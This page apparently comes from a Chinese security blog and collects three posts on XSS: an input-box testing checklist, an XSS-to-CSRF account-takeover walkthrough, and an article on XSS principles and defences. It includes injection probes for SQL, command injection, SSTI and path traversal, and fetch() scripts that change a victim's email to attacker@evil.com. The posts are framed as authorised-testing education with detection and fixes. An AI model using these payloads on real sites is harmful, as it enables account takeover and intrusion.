XSS on SoulJian小站

渗透思路：输入框 / 搜索框

Sat, 29 Aug 2026 23:59:00 +0800

写在前面：合法学习边界

本文思路只用于授权测试。对真实系统注入、执行命令可能触犯法律。

一、输入框为什么重要

输入框是攻击面最密集的地方：用户输入进入数据库、命令、模板、文件路径等不同上下文，都可能被利用。看到输入框，按“输入去哪了”来判断测什么。

二、先判断“输入去哪了”

1
2
3
4
5
6
7


进数据库查询 → SQL 注入
回显到页面 → XSS
拼进系统命令 → 命令注入
进模板渲染 → SSTI（模板注入）
进文件路径 → 路径穿越/文件包含
进 XML 解析 → XXE
进反序列化 → 反序列化

三、思路清单

1. SQL 注入

1
2
3
4


' / " / 单引号报错
' or 1=1--、' AND 1=1
时间盲注 SLEEP(5)
参数化 → 报错/布尔/时间区分

2. XSS

1
2
3


<script>alert(1)</script>
<img src=x onerror=alert(1)>
看回显位置（HTML/属性/JS）决定编码

3. 命令注入

1
2
3


; id、| whoami、&& id、`id`
$(whoami)
多出现在 ping、搜索、导出等功能

4. 模板注入（SSTI）

1
2


{{7*7}}、${7*7}、#{7*7}
识别模板引擎（Jinja2/Twig/FreeMarker…）

5. 路径穿越 / 文件包含

1
2
3


../../../../etc/passwd
php://filter 读源码
参数名如 file/path/page/download

6. 参数 fuzz

1
2


Burp Intruder / ffuf 对参数做 fuzz
测类型、长度、枚举值、越权

四、优先级

1
2
3
4


先看输入走向（决定测哪类漏洞）
SQL 注入 / 命令注入 / SSTI 优先（危害大）
XSS 看回显位置
路径穿越/文件包含看参数名

五、小结

输入框测试的关键是“先判断输入去哪了，再选对应漏洞打”。同样一个输入框，后端是拼 SQL 还是拼命令，决定了它是 SQL 注入还是命令注入。抓包看后端处理，比盲目试 payload 高效得多。

漏洞联动：XSS 打 CSRF 实现账号接管

Sat, 29 Aug 2026 13:00:00 +0800

写在前面：合法学习边界

本文的联动利用只在自建靶场进行。在真实站点注入脚本、窃取会话、触发敏感操作可能触犯法律。

一、漏洞原理：为什么 XSS 和 CSRF 能串联

XSS 与 CSRF 的成因不同，但配合起来就是“账号接管链”：

1
2


CSRF：浏览器会自动带 Cookie，服务端信任请求来源
XSS：能在受害者浏览器里执行任意脚本

把两者串联：

1
2
3
4


1. 存储型 XSS 在受害者浏览器执行
2. 脚本代替受害者发起敏感请求（改邮箱/改密/加管理员）
3. 浏览器自动带 Cookie → 服务端认为是用户本人操作
4. 攻击者拿到邮箱/密码重置 → 完全接管账号

关键点：XSS 解决了 CSRF 的“不能读响应、不能带自定义头”的短板，CSRF 又让 XSS 的后果从“弹窗”升级为“账号控制”。

二、影响与危害

1
2
3
4


账号完全接管（改密、绑定邮箱）
垂直提升（低权限 → 管理员）
批量受影响（存储型 XSS 打所有访问者）
配合钓鱼进一步扩大战果

风险等级：存储型 XSS + 敏感接口无 CSRF 防护时，属于严重。

三、利用 / 复现

场景

靶场里有一个支持富文本的留言/资料接口，存在存储型 XSS；同时改邮箱接口只依赖 Cookie，没有校验 CSRF Token。

第一步：确认存储型 XSS

1

<img src=x onerror="alert(document.domain)">

在留言里提交，其他用户打开页面能弹窗，说明存储型 XSS 成立。

第二步：窃取 CSRF Token（如果接口有 Token）

用脚本在受害者上下文里读取 Token 并调用敏感接口：

1
2
3
4
5
6
7
8
9


<script>
fetch('/api/csrf')
 .then(r => r.json())
 .then(d => fetch('/api/change-email', {
 method: 'POST',
 headers: { 'X-CSRF-Token': d.token },
 body: new URLSearchParams({ email: 'attacker@evil.com' })
 }));
</script>

第三步：无 Token 时直接触发

如果接口只认 Cookie，脚本更简单：

1
2
3


<script>
fetch('/api/change-email', {method:'POST', body:new URLSearchParams({email:'attacker@evil.com'})});
</script>

结果验证

1
2


受害者打开页面后，其邮箱被改成攻击者邮箱
攻击者用“忘记密码”接管账号

四、检测

1
2
3
4


日志中找 <script>、onerror、fetch、XMLHttpRequest 特征
同会话内出现“浏览页面 + 异常敏感接口调用”
改邮箱/改密接口的请求来源是页面而非正常表单
多次相同 XSS payload 提交

五、防御

1
2
3
4


输出编码 + CSP（限脚本来源）
敏感接口使用 CSRF Token + SameSite Cookie
HttpOnly 防 Cookie 被读，但 CSRF 仍要 Token
对富文本输入做白名单过滤

六、修复

1
2
3
4


修复 XSS：按上下文编码、启用 CSP、富文本白名单
修复 CSRF：敏感接口校验 Token + SameSite + 二次验证
关键操作（改密/改邮箱/加管理员）强制二次认证
修复后复测：注入脚本不执行、跨站请求被拒

七、小结

XSS 与 CSRF 联动说明：单看一个漏洞可能“中危”，串起来就是“严重”。渗透测试时要习惯把入口漏洞和后续动作连成链，防守方则要同时修掉链路上的每一环。

XSS 原理与防御

Sat, 29 Aug 2026 04:45:00 +0800

写在前面：合法学习边界

本文讲解 XSS 的原理与防御。所有示例只用于理解漏洞触发机制，不能直接用于真实网站攻击。任何 XSS 测试都必须在自建靶场、公司授权测试环境或明确书面授权的目标上进行。未经授权窃取 Cookie、劫持会话、执行脚本或读取用户数据，可能违反《网络安全法》《数据安全法》《个人信息保护法》和《刑法》相关规定。

一、XSS 的本质

XSS（跨站脚本攻击）的本质是：浏览器把攻击者提供的输入当成可执行 JavaScript 执行了。

它利用的是浏览器的信任机制：

1
2
3


网页内容由服务器返回
脚本来自网页自身
浏览器默认信任同域脚本

如果后端或前端把用户输入直接插入页面，且没有正确处理上下文，攻击者就可能把一段脚本塞进页面中。

二、XSS 的常见类型

1. 存储型 XSS

恶意脚本被保存到服务器，例如评论、个人资料、商品描述、上传文件名。后续访问者打开页面时都会执行脚本。

存储型 XSS 危害通常更大，因为影响范围更广。

2. 反射型 XSS

恶意脚本通过 URL 参数、搜索框、表单回显进入页面，不会保存下来，但特定链接被打开时可能执行。

反射型 XSS 常用于钓鱼和会话劫持。

3. DOM 型 XSS

恶意脚本发生在浏览器端。页面 JS 把某个 DOM 值写入 innerHTML、document.write 或事件属性，浏览器执行了其中的脚本。

DOM 型 XSS 常见于：

1
2
3
4


URL hash 处理
前端路由参数
搜索框回显
富文本编辑器

三、为什么“编码”是关键

XSS 不是简单的“有 <script> 就危险”。危险来自“上下文”。

不同上下文的编码规则不同：

1
2
3
4
5


HTML 文本上下文
HTML 属性上下文
JavaScript 字符串上下文
URL 上下文
CSS 上下文

正确防御是：

1
2
3


在输出时按上下文编码
不要盲目信任前端框架
不要把所有输出都当成安全

四、常见危险点

1. innerHTML

1

element.innerHTML = userInput

如果 userInput 中包含 <img onerror="...">，浏览器可能执行脚本。

2. document.write

旧式脚本中常见：

1

document.write(userInput)

这种写法容易破坏页面安全边界。

3. 事件属性

1

<img src=x onerror="alert(1)">

事件属性是常见触发点。

4. URL 跳转

某些旧系统会把用户输入直接放入 href 或 location.href。如果上下文没处理好，也可能成为 XSS 入口。

影响与危害

XSS 能造成：

1
2
3
4


窃取 Cookie/会话（账号被劫持）
钓鱼与页面篡改
键盘记录
配合 CSRF 执行恶意操作

存储型 XSS 影响所有访问该页面的用户。风险等级：中到高。

五、防御方法

1. 输出编码

按上下文进行输出编码，是 XSS 防御的核心。

2. 输入校验

输入校验可以减少风险，但不应作为唯一防线。它更多是业务层保护。

3. 安全的 DOM API

避免直接写入 HTML，优先使用文本安全 API。

4. CSP

内容安全策略（CSP）可以限制脚本来源，降低 XSS 影响。

给敏感 Cookie 设置：

1
2
3


HttpOnly
Secure
SameSite

即使脚本执行，也不要让它轻易拿到 Cookie。

6. 最小权限和最小暴露

后台、评论、个人资料、富文本编辑器都要做专门审查。

修复

1
2
3
4
5


输出编码（上下文敏感：HTML/属性/JS 分别编码）
输入白名单校验
设置 CSP 降低执行面
HttpOnly 防 Cookie 被窃取
修复后复测：注入 payload 不再被执行

验证操作步骤

1
2
3
4


第 1 步：找回显点（搜索/评论/参数）
第 2 步：送 <script>alert(1)</script>，看是否触发
第 3 步：看回显上下文（HTML/属性/JS）调整 payload
第 4 步：存储型则换账号验证是否持续触发（影响面更大）

六、XSS 在报告中的正确写法

好的报告要写出触发条件、影响和建议。

示例：

1
2
3


发现：评论区输入 <img src=x onerror="alert(1)"> 会在其他用户页面执行脚本。
风险：可能造成会话劫持、钓鱼、数据读取和页面篡改。
建议：输出编码；启用 CSP；限制富文本标签；敏感 Cookie 设置 HttpOnly、Secure、SameSite。

不要只写“存在 XSS”。要写清楚触发路径和影响。

七、小结

XSS 的核心不是“能不能注入标签”，而是“浏览器在哪个上下文执行了这段输入”。理解上下文，才能同时理解防御和绕过。后续学习 CSRF、SSRF、WAF 和日志分析时，都会回到 XSS 的上下文思维。

XSS on SoulJian小站

渗透思路：输入框 / 搜索框

写在前面：合法学习边界

一、输入框为什么重要

二、先判断“输入去哪了”

三、思路清单

1. SQL 注入

2. XSS

3. 命令注入

4. 模板注入（SSTI）

5. 路径穿越 / 文件包含

6. 参数 fuzz

四、优先级

五、小结

漏洞联动：XSS 打 CSRF 实现账号接管

写在前面：合法学习边界

一、漏洞原理：为什么 XSS 和 CSRF 能串联

二、影响与危害

三、利用 / 复现

场景

第一步：确认存储型 XSS

第二步：窃取 CSRF Token（如果接口有 Token）

第三步：无 Token 时直接触发

结果验证

四、检测

五、防御

六、修复

七、小结

XSS 原理与防御

写在前面：合法学习边界

一、XSS 的本质

二、XSS 的常见类型

1. 存储型 XSS

2. 反射型 XSS

3. DOM 型 XSS

三、为什么“编码”是关键

四、常见危险点

1. innerHTML

2. document.write

3. 事件属性

4. URL 跳转

影响与危害

五、防御方法

1. 输出编码

2. 输入校验

3. 安全的 DOM API

4. CSP

5. Cookie 保护

6. 最小权限和最小暴露

修复

验证操作步骤

六、XSS 在报告中的正确写法

七、小结